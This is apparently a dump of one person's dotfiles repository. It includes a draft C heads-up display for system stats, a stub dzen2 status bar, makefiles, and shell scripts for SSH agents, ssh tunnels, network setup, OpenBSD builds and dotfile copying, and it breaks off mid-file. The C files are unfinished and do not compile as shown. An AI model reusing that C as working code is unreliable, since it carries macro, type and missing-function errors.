indent-tabs-mode:nil -*- */\n\n/**\n * @file osdhud.c\n * @brief osd-based heads up display\n *\n * This command should be bound to some key in your window manager.\n * When invoked it brings up a heads-up display overlaid on the screen\n * via libosd. It stays up for some configurable duration during\n * which it updates in real time, then disappears. The default is for\n * the display to stay up for 2 seconds and update every 100\n * milliseconds. The display includes load average, memory utilization,\n * swap utilization, network utilization, battery lifetime and uptime.\n */\n\n/* LICENSE:\n *\n * Copyright (C) 2014 by attila <[email protected]>\n *\n * Permission to use, copy, modify, and/or distribute this software for\n * any purpose with or without fee is hereby granted, provided that the\n * above copyright notice and this permission notice appear in all\n * copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL\n * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE\n * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL\n * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR\n * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER\n * TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR\n * PERFORMANCE OF THIS SOFTWARE.\n */\n\n#include <errno.h>\n#include <limits.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <sys/sysctl.h>\n#include <sys/param.h>\n#include <sys/types.h>\n#include <sys/time.h>\n#include <sys/resource.h>\n#include <vm/vm_param.h>\n#include <sys/socket.h>\n#include <net/if.h>\n#include <net/if_mib.h>\n#include <net/if_var.h>\n#include <net/if_types.h>\n#include <sys/un.h>\n#include <xosd.h>\n\ntypedef struct osdhud_state {\n char *argv0;\n int pid;\n char *sock_path;\n char *font;\n int pos_x;\n int pos_y;\n int width;\n int display_secs;\n int pause_msecs;\n int verbose;\n float load_avg;\n float net_kbps;\n float mem_used_percent;\n float swap_used_percent;\n int battery_life;\n int battery_life_avail;\n int battery_state;\n int battery_state_avail;\n int battery_time;\n int battery_time_avail;\n unsigned long uptime_secs;\n} osdhud_state_t;\n\n#define DEFAULT_FONT \"-adobe-helvetica-bold-r-normal-*-*-320-*-*-p-*-*-*\"\n#define DEFAULT_SOCK_PATH \"/tmp/osdhud.sock\"\n#define DEFAULT_POS_X 10\n#define DEFAULT_POS_Y 48\n#define DEFAULT_WIDTH 50\n#define DEFAULT_DISPLAY 2\n#define DEFAULT_PAUSE 100\n\n#define OSDHUD_STATE_INIT { .argv0=NULL, .pid=0, .sock_path=DEFAULT_SOCK_PATH, .font = DEFAULT_FONT, .pos_x = DEFAULT_POS_X, .pos_y = DEFAULT_POS_Y, .width = DEFAULT_WIDTH, .display_secs = DEFAULT_DISPLAY, .pause_msecs = DEFAULT_PAUSE, .verbose = 0, .load_avg = 0.0, .mem_used_percent = 0.0, .swap_used_percent = 0.0, .net_kbps = 0.0, .battery_life = 0,.battery_life_avail = 0, .battery_state = 0, .battery_state_avail = 0, .battery_time = 0, .battery_time_avail = 0, .uptime_secs = 0 }\n\n#define DO_SYSCTL(dd,nn,mm,vv,zz,nn,nz) do { \\\n if (sysctl(nn,mm,vv,zz,nn,nz)) { perror(dd); exit(1); } \\\n } while (0);\n\nstatic void probe_load(\n osdhud_state_t *state)\n{\n int mib[2] = { CTL_VM, VM_LOADAVG };\n struct loadavg avgs;\n size_t len = sizeof(avgs);\n\n DO_SYSCTL(\"vm.loadavg\",mib,2,&avgs,&len,NULL,0);\n state->load_avg = (float)avgs.ldavg[0] / (float)avgs.fscale;\n}\n\nstatic void probe_mem(\n osdhud_state *state)\n{\n int mib[2] = { CTL_HW, HW_PAGESIZE };\n int pgsz = 0;\n size_t len = sizeof(pgsz);\n struct vmtotal vmtot;\n\n DO_SYSCTL(\"hw.pagesize\",mib,2,&pgsz,&len,NULL,0);\n\n mib[0] = CTL_VM;\n mib[1] = VM_TOTAL;\n len = sizeof(vmtot);\n DO_SYSCTL(\"vm.total\",mib,2,&vmtot,&len,NULL,0);\n\n state->mem_used_percent = (float)vmtot.t_avm / (float)vmtot.t_vm;\n}\n\nstatic void probe_swap(\n osdhud_state *state)\n{\n}\n\nstatic void probe_net(\n osdhud_state_t *state)\n{\n int mib[6] = {CTL_NET,PF_LINK,NETLINK_GENERIC,IFMIB_SYSTEM,IFMIB_IFCOUNT,0};\n int ifcount = 0;\n size_t len = sizeof(ifcount);\n int i = 0;\n\n DO_SYSCTL(mib,5,&ifcount,&len,NULL,0);\n mib[3] = IFMIB_IFDATA;\n mib[5] = IFDATA_GENERAL;\n for (i = 1; i < ifcount; i++) {\n struct ifmibdata ifmd;\n struct if_data *d = NULL;\n\n mib[4] = i;\n len = sizeof(ifmd);\n DO_SYSCTL(\"ifmib\",mib,6,&ifmd,&len,NULL,0);\n if (!(ifmd.ifmd_flags & IFF_UP))\n continue;\n d = &ifmd.ifmd_data;\n printf(\"#%2d/%2d: %s flags=0x%x ipax=%lu ierr=%lu opax=%lu oerr=%lu recv=%lu sent=%lu\\n\",i,ifcount,ifmd.ifmd_name,ifmd.ifmd_flags,d->ifi_ipackets,d->ifi_ierrors,d->ifi_opackets,d->ifi_oerrors,d->ifi_ibytes,d->ifi_obytes);\n }\n}\n\nstatic void probe(\n osdhud_state_t *state)\n{\n probe_load(state);\n probe_mem(state);\n probe_swap(state);\n probe_net(state);\n probe_battery(state);\n probe_uptime(state);\n}\n\nstatic void display(\n osdhud_state_t *state)\n{\n display_load(state);\n display_mem(state);\n display_swap(state);\n display_net(state);\n display_battery(state);\n display_uptime(state);\n}\n\nstatic int pause(\n osdhud_state_t *state)\n{\n}\n\nstatic int kicked(\n osdhud_state_t *state)\n{\n}\n\nstatic void usage(\n osdhud_state_t *state,\n char *msg)\n{\n}\n\nint main(\n int argc,\n char **argv)\n{\n int ch = 0;\n osdhud_state_t state = OSDHUD_STATE_INIT;\n\n state.argv0 = rindex(argv[0],'/');\n state.argv0 = state.argv0 ? state.argv0+1 : \"?\";\n while ((ch = getopt(argc,argv,\"d:p:vf:h?\")) != -1) {\n switch (ch) {\n case 'd': /* duration in seconds */\n if (sscanf(optarg,\"%d\",&state.display_secs) != 1)\n usage(&state,\"bad value for -d\");\n break;\n case 'p': /* inter-probe pause in milliseconds */\n if (sscanf(optarg,\"%d\",&state.pause_msecs) != 1)\n usage(&state,\"bad value for -p\");\n break;\n case 'v': /* verbose */\n state.verbose++;\n break;\n case 'f': /* font */\n state.font = optarg;\n break;\n case 's': /* path to unix socket */\n state.sock_path = optarg;\n break;\n case '?': /* help */\n case 'h': /* ditto */\n usage(&state,NULL);\n break;\n default: /* similar */\n usage(&state,\"unknown option\");\n break;\n }\n }\n if (kicked(&state)) {\n /* we were already running - just kick the existing process */\n if (state.verbose)\n printf(\"%s: kicked existing osdhud pid %d\\n\",state.argv0,state.pid);\n } else {\n /* not running - bring up the hud */\n int done = 0;\n\n do {\n probe(&state);\n done = pause(&state);\n } while (!done);\n }\n exit(0);\n}\n" }, { "alpha_fraction": 0.5555555820465088, "alphanum_fraction": 0.5555555820465088, "avg_line_length": 11.272727012634277, "blob_id": "3e920e9ade49ed6bb4390ead88ff62ac6bfbe8e8", "content_id": "0193c64dce90689e0e31a4cfb20b3229d71cf56c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 135, "license_type": "no_license", "max_line_length": 20, "num_lines": 11, "path": "/gnumake/settings.mk", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "# -*- makefile -*-\n\nMM?=gnumake\n\nS?=$(shell pwd)\nH?=$(HOME)\nBINDIR?=$(H)/bin\nLIBDIR?=$(H)/lib\nEMACSDIR?=$(H)/emacs\nDOTDIR?=$(H)\nDOT?=.\n" }, { "alpha_fraction": 0.5541666746139526, "alphanum_fraction": 0.5916666388511658, "avg_line_length": 18.75, "blob_id": "173ed71dcb70544e6e33b3ee4d11b83e700ccbbe", "content_id": "0c8a5949380ad6c8ca6a519ca91f508279173dbd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 240, "license_type": "no_license", "max_line_length": 64, "num_lines": 12, "path": "/bin/ask_before", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\nwhat=\"$1\"\nshift\ncmd=\"$*\"\ndialog_cmd=\"dialog --yesno \\\"Confirm: $what\\\" 10 60 && $cmd\"\n#echo \"# $cmd\"\nif [ x$DISPLAY != x ]; then\n xterm -title \"Confirm Action\" -geometry 60x10 -e \"$dialog_cmd\"\nelse\n sh -c \"$dialog_cmd\"\nfi\n\n\n\n" }, { "alpha_fraction": 0.6953125, "alphanum_fraction": 0.6953125, "avg_line_length": 17.285715103149414, "blob_id": "fd5da893f2d90b2b349ecdda30a6925654bf0934", "content_id": "6ddb55d423936d2bc24effb4015275dc3eab92c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 128, "license_type": "no_license", "max_line_length": 30, "num_lines": 7, "path": "/BSDmakefile", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "# -*- makefile -*-\n#\n\n.include \"bsdmake/settings.mk\"\n.include \"bsdmake/commands.mk\"\nDIST_VERS!=cat VERSION\n.include \"_makefile\"\n" }, { "alpha_fraction": 0.5568181872367859, "alphanum_fraction": 0.5568181872367859, "avg_line_length": 24.14285659790039, "blob_id": "d44f661766c52d8e8caba04a9ed2163b8d82187a", "content_id": "7920dd1e0a4bac9f59729fe4190e4a92c1bc8a5b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 352, "license_type": "no_license", "max_line_length": 66, "num_lines": 14, "path": "/bin/telmex_ip", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\nstate=$HOME/.telmex_ip\ncur=`scrape_telmex_modem ip`\nprev=''\n[ -f \"$state\" ] && prev=`cat $state`\nif [ x\"$prev\" = \"x\" ]; then\n echo $cur > $state\nelif [ x\"$cur\" != \"x\" -a \"$cur\" != \"$prev\" ]; then\n [ -f $state ] && mv $state $state.prev\n echo $cur > $state\n [ -x $HOME/.telmex_ip_changed ] && $HOME/.telmex_ip_changed $cur\nfi\necho $cur\n" }, { "alpha_fraction": 0.6110154986381531, "alphanum_fraction": 0.6265060305595398, "avg_line_length": 24.2608699798584, "blob_id": "da25204ac667c3a6cf7e7d65b4e80a58f1d78b1b", "content_id": "044f9d32e0e87c945fcd495096796c99c9be5a8b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 581, "license_type": "no_license", "max_line_length": 118, "num_lines": 23, "path": "/bin/auto-tunnel", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!zsh\n#\n#H=/home/$LOGNAME\n#V=${VERBOSE-0}\nE=/bin/true\n#[ $V -gt 0 ] && {\n# E=/bin/echo\n#}\nH=${HOME-/home/$LOGNAME}\nSHELL=${SHELL-/usr/bin/zsh}\nexport HOME=$H\nexport PATH=$HOME/bin:/usr/bin:/usr/sbin:/bin:/sbin:/usr/X11R6/bin:/usr/local/gimp2/bin:/usr/local/bin:/usr/local/sbin\n[ -f $H/.ssh/agent_info ] && source $H/.ssh/agent_info\nme=\"`/usr/bin/basename $0`\"\nfile=$H/lib/auto-tunnels/$me\nif [ ! -f $file ]; then\n echo NO TUNNEL CALLED $me - $0\n exit 1\nfi\nsource $file\nNC_CMD=${NC_CMD-nc}\n$E $SHELL -c \"$SSH_CMD $NC_CMD $SERVER $PORT\"\n$SHELL -c \"$SSH_CMD $NC_CMD $SERVER $PORT\"\n" }, { "alpha_fraction": 0.6093294620513916, "alphanum_fraction": 0.615160346031189, "avg_line_length": 20.4375, "blob_id": "0ef08adbfbcf1a0368a90d790bf2e28c07af5e10", "content_id": "a38430f4ce6fa618403468f7e03ff649e533e366", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 343, "license_type": "no_license", "max_line_length": 96, "num_lines": 16, "path": "/x11-desktop/_makefile", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "# -*- makefile -*-\n#\n\nDOTFILES?=Xdefaults xinitrc xmodmaprc\nDOTDIRS?=config\n\ndefault: all\n\nall clean distclean:\n\ninstall: all\n\t(for f in $(DOTFILES); do $(FAKE) $(INSTALL) $$f $(DOTDIR)/.$$f; done)\n\t(for d in $(DOTDIRS); do $(FAKE) $(TAR) -C $$d -cf - . | $(TAR) -C $(DOTDIR)/.$$d -xvf -; done)\n\nuninstall:\n\t@echo No uninstall for x11-desktop\n" }, { "alpha_fraction": 0.6440678238868713, "alphanum_fraction": 0.6483050584793091, "avg_line_length": 20.454545974731445, "blob_id": "6842548c05904650b9ceb8e8c75cde7e9819c701", "content_id": "e3fdf79a319a20a0a741ea401ac7194c1ead37d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 472, "license_type": "no_license", "max_line_length": 42, "num_lines": 22, "path": "/openbsd-any/kernel.sh", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\nsay () {\n\techo '****************'\n\techo '['`date`'] '\"$*\"\n\techo '****************'\n}\nLOGFILE=${LOGFILE-${HOME}/logs/kernel.log}\nKERNEL=${KERNEL-GENERIC.MP}\nstart=`date`\nsay building $KERNEL logging to $LOGFILE\nexec >$LOGFILE 2>&1\nsay configuring $KERNEL\ncd /usr/src/sys/arch/`arch -s`/conf\nconfig $KERNEL\nsay building $KERNEL\ncd ../compile/$KERNEL\nsay cleaning\nmake clean\nsay compiling and installing\nmake && make install\nsay $KERNEL done - started at $start\n" }, { "alpha_fraction": 0.6323529481887817, "alphanum_fraction": 0.6323529481887817, "avg_line_length": 11, "blob_id": "7860955ac606791275c9e9aa03e93009c3592c46", "content_id": "0f8e39c0e5307a63b5ed3b2bd3c1b9606c2d3f61", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 204, "license_type": "no_license", "max_line_length": 21, "num_lines": 17, "path": "/bsdmake/commands.mk", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "# -*- makefile -*-\n\n\nFAKE?=\nVERBOSE?=\nECHO?=echo\nSED?=sed\nLN?=ln\nINSTALL?=install -vC\nINSTALL_D?=install -d\nRM=rm\nTAR?=tar\nTAR_CF?=$(TAR) cf\nTAR_XF?=$(TAR) xf\nGZIP?=gzip\nMKDIR?=mkdir\nMKDIR_P?=$(MKDIR) -p\n" }, { "alpha_fraction": 0.6552598476409912, "alphanum_fraction": 0.6590620875358582, "avg_line_length": 21.542856216430664, "blob_id": "480d6bebd886dfe6940da2c3251b5fdc8576168e", "content_id": "b7117a60e61a5f7b9c3c21a10a357d080b501f86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 789, "license_type": "no_license", "max_line_length": 134, "num_lines": 35, "path": "/cwm-desktop/xinitrc", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\n# we don't need no stinking desktop\n##\n# Fonts\ngsfd=${GS_FONT_DIR-/usr/local/share/ghostscript/fonts}\nxfd=${X_FONT_DIR-/usr/local/lib/X11/fonts}\nFONT_WHORE=${FONT_WHORE-Droid Liberation anonymous-pro terminus webfonts URW profont mscorefonts jmk Inconsolata dina hermit gohufont}\necho -n '[FONTS'\nfor subd in ${FONT_WHORE}; do\n [ -d ${xfd}/${subd} ] && {\n echo -n ' '${subd}\n xset +fp ${xfd}/${subd}/\n }\ndone\n[ -d ${gsfd} ] && xset +fp ${gsfd}/\nxset fp rehash\necho ']'\n# Defaults\necho -n '[RESOURCES'\nxrdb -merge $HOME/.Xdefaults\nxmodmap $HOME/.xmodmaprc\necho ']'\n# Background, screensaver\necho -n '[SCREEN'\nxsetroot -solid black\nxscreensaver &\necho ']'\n# HUD\necho -n '[HUD'\nosdhud -Cwn -X 2 -i egress\necho ']'\n# ... and finally, the star of the show:\necho '[WM]'\ncwm\n" }, { "alpha_fraction": 0.46922391653060913, "alphanum_fraction": 0.4861730635166168, "avg_line_length": 23.91111183166504, "blob_id": "70c960635cd7e9a2dc6194d53c1f8581299f0fd1", "content_id": "36b4da4882f7a9455538763dd36384baf0f93c31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1121, "license_type": "no_license", "max_line_length": 70, "num_lines": 45, "path": "/openbsd-any/net", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n# -*- mode:sh; indent-tabs-mode:nil; sh-indentation:2 -*-\n##\nWIFI_IF=${WIFI_IF-iwn0}\nWIRED_IF=${WIRED_IF-em0}\nWIFI_LOC=${WIFI_LOC-home}\nWIFI_OPTS_F=${WIFI_OPTS_F-$HOME/mine/creds/${WIFI_IF}-${WIFI_LOC}.txt}\n[ x\"$*\" = x ] && {\n my_ip\n exit 0\n}\ncmd=$1\nshift\ncase $cmd in\n down)\n sudo psmap -v dhclient kill\n sudo ifconfig $WIFI_IF inet 0.0.0.0\n sudo ifconfig $WIFI_IF down\n sudo ifconfig $WIRED_IF inet 0.0.0.0\n sudo ifconfig $WIRED_IF down\n sudo route flush\n sudo route delete 0/8\n ;;\n wifi)\n opts=\"$*\"\n if [ x\"$opts\" = x ]; then\n [ ! -f $WIFI_OPTS_F ] && {\n echo $0: no wifi options available in $WIFI_OPTS_F\n exit 1\n }\n opts=\"`cat $WIFI_OPTS_F`\"\n fi\n [ x\"$opts\" = x-x ] && opts=\"\"\n sudo ifconfig $WIFI_IF $opts up && \\\n sudo dhclient $WIFI_IF\n ;;\n wired)\n sudo ifconfig $WIRED_IF up && \\\n sudo dhclient $WIRED_IF\n ;;\n *)\n echo usage: $0 '{down|wifi|wired}'\n exit 1\n ;;\nesac\n" }, { "alpha_fraction": 0.6006454229354858, "alphanum_fraction": 0.608309805393219, "avg_line_length": 25.094736099243164, "blob_id": "70f828f1205f7781fb1970826fbf6b45aac223cf", "content_id": "3178c24a15d167fdd7647f2d25efa33f03e25f06", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2479, "license_type": "no_license", "max_line_length": 73, "num_lines": 95, "path": "/bin/dzenbar.c", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "/* -*- mode:c; c-basic-offset:4; tab-width:4; indent-tabs-mode:nil -*- */\n\n/**\n * @file dzenbar.c\n * @brief dzen2-compatible status bar\n *\n * Produce output suitable for use with dzen2 to give you configurable\n * status displays for any metric you can sample with a Unix command.\n */\n\n/* LICENSE:\n *\n * Copyright (C) 1999-2014 by attila <[email protected]>\n *\n * Permission to use, copy, modify, and/or distribute this software for\n * any purpose with or without fee is hereby granted, provided that the\n * above copyright notice and this permission notice appear in all\n * copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL\n * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE\n * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL\n * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR\n * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER\n * TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR\n * PERFORMANCE OF THIS SOFTWARE.\n */\n\n#include <stdio.h>\n#include <unistd.h>\n\nextern char *optarg;\nextern int opterr;\nextern int optind;\nextern int optopt;\nextern int optreset;\n\n#define OPTSTRING \"vm:w:C:\"\n\ntypedef struct gauge_state {\n float max_val;\n float min_val;\n int tot_width;\n float val;\n} gauge_state_t;\n\ntypedef struct our_state {\n int options;\n} our_state_t;\n\n#define OUR_STATE_INIT {.options=0}\n\nstatic void cleanup_state(\n dzenbar_state_t *state)\n{\n}\n\nstatic void do_gadget(\n our_state_t *state,\n char *gadget)\n{\n if (!strcmp(gadget,\"load\")) {\n } else if (!strcmp(gadget,\"cpu\")) {\n } else if (!strcmp(gadget,\"netio\")) {\n } else if (!strcmp(gadget,\"temp\")) {\n } else if (!strcmp(gadget,\"mail\")) {\n } else if (!strcmp(gadget,\"clock\")) {\n } else {\n usage();\n }\n}\n\nint main(\n int argc,\n char **argv)\n{\n int ch = -1;\n int done = 0;\n our_state_t state = OUR_STATE_INIT;\n\n while ((ch = getopt(argc, argv, OPTSTRING)) != -1) {\n switch (ch) {\n }\n }\n done = (state.options & DZB_LOOP)? 0: 1;\n do {\n for (int argno = optind; argno < argc; argno++)\n do_gadget(&state,argv[argno]);\n nloops++;\n if (!done)\n sleep(sleep_secs);\n } while (!done);\n exit(0);\n}\n" }, { "alpha_fraction": 0.5774767398834229, "alphanum_fraction": 0.5918713212013245, "avg_line_length": 25.840909957885742, "blob_id": "c1f30d8fdc09c7542c20a2c88a04920dda6a446f", "content_id": "2cb823cb7296fe7cbd4303109f9dd7f9c6919a95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1181, "license_type": "no_license", "max_line_length": 84, "num_lines": 44, "path": "/bin/reagent", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\nLOCALHOME=${LOCALHOME-${HOME}}\n\nsplort () {\n [ -t 0 ] && echo '['\"$*\"']'\n}\n\nstart_agent () {\n eval `ssh-agent -s`\n [ -f $LOCALHOME/.ssh/agent_info ] && rm $LOCALHOME/.ssh/agent_info\n echo SSH_AUTH_SOCK=$SSH_AUTH_SOCK\t >$LOCALHOME/.ssh/agent_info\n echo export SSH_AUTH_SOCK\t\t>>$LOCALHOME/.ssh/agent_info\n echo SSH_AGENT_PID=$SSH_AGENT_PID\t>>$LOCALHOME/.ssh/agent_info\n echo export SSH_AGENT_PID\t\t>>$LOCALHOME/.ssh/agent_info\n splort \"Started agent pid $SSH_AGENT_PID\"\n}\n\n[ -f $LOCALHOME/.ssh/agent_info ] && . $LOCALHOME/.ssh/agent_info\n\nactive=1\nssh-add -l >/dev/null 2>&1 || active=0\n\nif [ $active = 0 ]; then\n if [ x$SSH_AGENT_PID != x ]; then\n\tkill -0 $SSH_AGENT_PID >/dev/null 2>&1 && active=1\n fi\n if [ $active = 0 ]; then\n\tstart_agent\n fi\nelse\n if [ x\"$*\" = \"x-force\" ]; then\n\tstart_agent\n fi\nfi \n\nneed_id=`ssh-add -l 2>&1 | grep \"no identities\" | wc -l | perl -lpe 's/[ \\t]+//gs'`\nif [ $need_id = 1 ]; then\n splort No identities - adding default\n ssh-add\nelse\n nids=`ssh-add -l 2>/dev/null | grep '^[0-9]' | wc -l | perl -lpe 's/[ \\t]+//gs'`\n splort Agent pid $SSH_AGENT_PID running w/${nids} identities\nfi\n" }, { "alpha_fraction": 0.5406643748283386, "alphanum_fraction": 0.5418098568916321, "avg_line_length": 23.94285774230957, "blob_id": "de1a2873bf987b071cbc9c5d0aad287eff52c1a1", "content_id": "e94b2b25221f1c8ec9bbfdfb1fca98268ee1bc8f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 873, "license_type": "no_license", "max_line_length": 73, "num_lines": 35, "path": "/bin/dotdist.sh", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\n# Distribute dot.files to various oft-used machines, e.g.\n#\n# $ dotdist.sh zshrc\n#\n# will send my ~/.zshrc to all the machines I care about.\n##\nif [ x\"${DOTDIST}\" != x ]; then\n hosts=\"${DOTDIST}\"\nelse\n if [ -f $HOME/.dotdist ]; then\n hosts=\"`cat $HOME/.dotdist`\"\n else\n hosts=\"mu intelligence woodshed itzamna wmd\"\n fi\nfi\nfor f in $* /dev/null; do\n if [ x\"$f\" != x/dev/null ]; then\n if [ -f \"$HOME/.$f\" -a \"$f\" != \"emacs\" ]; then\n f=\".$f\"\n fi\n if [ ! -f \"$HOME/$f\" -a ! -d \"$HOME/$f\" ]; then\n echo $0: $f is invalid relative to $HOME ...\n else\n echo Copying $f to: $hosts\n for h in $hosts; do\n# This way deals properly with e.g. emacs/lisp/hacking.el (or just emacs)\n (cd $HOME; tar cf - $f) | ssh $h tar xvf - | sed -e \"s/^/$h: /\"\n# This way does not:\n# scp $HOME/$f $h:\n done\n fi\n fi\ndone\n" }, { "alpha_fraction": 0.6854304671287537, "alphanum_fraction": 0.7152317762374878, "avg_line_length": 20.571428298950195, "blob_id": "a3b54397f40856b521d9fe4788289214477c8057", "content_id": "b64c13b0b241e79b9858c14745d7fa78feb4e17a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 302, "license_type": "no_license", "max_line_length": 42, "num_lines": 14, "path": "/bin/finance", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n# Watch finance\n## some stock prices\nub grok price aapl goog fb xom akam jpm gs\n## the grand FX casino\nub grok 1 XAU to USD\nub grok 1 XAU to EUR\nub grok 1 XAU to CHF\nub grok 1 EUR to USD\nub grok 1 EUR to CHF\nub grok 1 USD to JPY\nub grok 1 USD to MXN\nub grok 1 MXN to USD\nub grok 1 BTC to USD\n" }, { "alpha_fraction": 0.6190476417541504, "alphanum_fraction": 0.6238095164299011, "avg_line_length": 18.090909957885742, "blob_id": "8ff3eb5e0ea8f73c2f81c8c48ed02c1eff3075b4", "content_id": "392100e226635fdb596fe5df82445681c5fdb8ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 420, "license_type": "no_license", "max_line_length": 50, "num_lines": 22, "path": "/openbsd-any/userland.sh", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\nsay () {\n\techo '****************'\n\techo '['`date`'] '\"$*\"\n\techo '****************'\n}\nLOGFILE=${LOGFILE-${HOME}/logs/userland.log}\nstart=`date`\nsay logging to $LOGFILE\nexec >$LOGFILE 2>&1\nsay cleaning obj\nrm -rf /usr/obj/*\ncd /usr/src\nsay making obj\nmake obj\nsay making distrib-dirs\ncd /usr/src/etc && env DESTDIR=/ make distrib-dirs\nsay building userland\ncd /usr/src\nmake build\nsay done - started at $start\n" }, { "alpha_fraction": 0.734375, "alphanum_fraction": 0.734375, "avg_line_length": 17.285715103149414, "blob_id": "beb90851fa78b28038eeaeabc8c607be7a0f2aca", "content_id": "dc4b357e50d57fb61b19ac244e070fcf79b8d19e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 128, "license_type": "no_license", "max_line_length": 31, "num_lines": 7, "path": "/GNUmakefile", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "# -*- makefile -*-\n#\n\ninclude gnumake/settings.mk\ninclude gnumake/commands.mk\nDIST_VERS?=$(shell cat VERSION)\ninclude _makefile\n" }, { "alpha_fraction": 0.7041036486625671, "alphanum_fraction": 0.7062634825706482, "avg_line_length": 23.36842155456543, "blob_id": "4d333a2ab1765a19e537b64262557b6b5df6adad", "content_id": "b5ec0d1a7cc3267cb8eb2611e16f74f5ed7cf082", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 463, "license_type": "no_license", "max_line_length": 59, "num_lines": 19, "path": "/writing/letter.md", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "Title: Irrelevant!\nAuthor: Sean Levy\nDate: dd mon yyyy\nBase Header Level: 1\nlatex mode: letterhead\nlatex input: mmd-letterhead-header\nlatex input: mmd-letterhead-begin-doc\nlatex footer: mmd-letterhead-footer\n\nGreeting,\n\nIntroductory paragraph[resume][resume].\n\nHey nonny nonny. Ipsum lorem. Visit [my home page][home].\n\nI said *GOOD DAY*, sir!\n\n[resume]: http://trac.haqistan.net/~attila/resume\n[home]: http://trac.haqistan.net/~attila\n" }, { "alpha_fraction": 0.646789014339447, "alphanum_fraction": 0.6651375889778137, "avg_line_length": 20.799999237060547, "blob_id": "b2cb5a4c02442ed27fb3493abd28fe1842125f9d", "content_id": "5abd308442ab2985b6e83e467c47576803898305", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 218, "license_type": "no_license", "max_line_length": 41, "num_lines": 10, "path": "/writing/article.md", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "Title: A Title\nAuthor: Guilty Party\nDate: ??-FEB-201?\nOutlet: ??\nBase Header Level: 1\nlatex mode: article\nlatex input: mmd-article-header\nlatex input: mmd-article-begin-doc\n\nThe text flows freely here.\n" }, { "alpha_fraction": 0.4953617751598358, "alphanum_fraction": 0.502782940864563, "avg_line_length": 20.559999465942383, "blob_id": "25e078c8747e743760867c1798b94c1da41a25a2", "content_id": "f942634ca2e40b4394b0c29df1be38ebf573ab0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 539, "license_type": "no_license", "max_line_length": 76, "num_lines": 25, "path": "/bin/exif2sql.py", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- mode:python; tab-width:4; indent-tabs-mode:nil; py-indent-offset:4 -*-\n##\n\n\"\"\"\n module_name_or_program_name\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n Brief description\n\"\"\"\n\ndef main():\n line = sys.stdin.readline()\n line_no = 0\n while line:\n line_no += 1\n try:\n name,val = line.strip().split(\"\\t\")\n\n except Exception, e:\n sys.stderr.write(\"ERROR on line 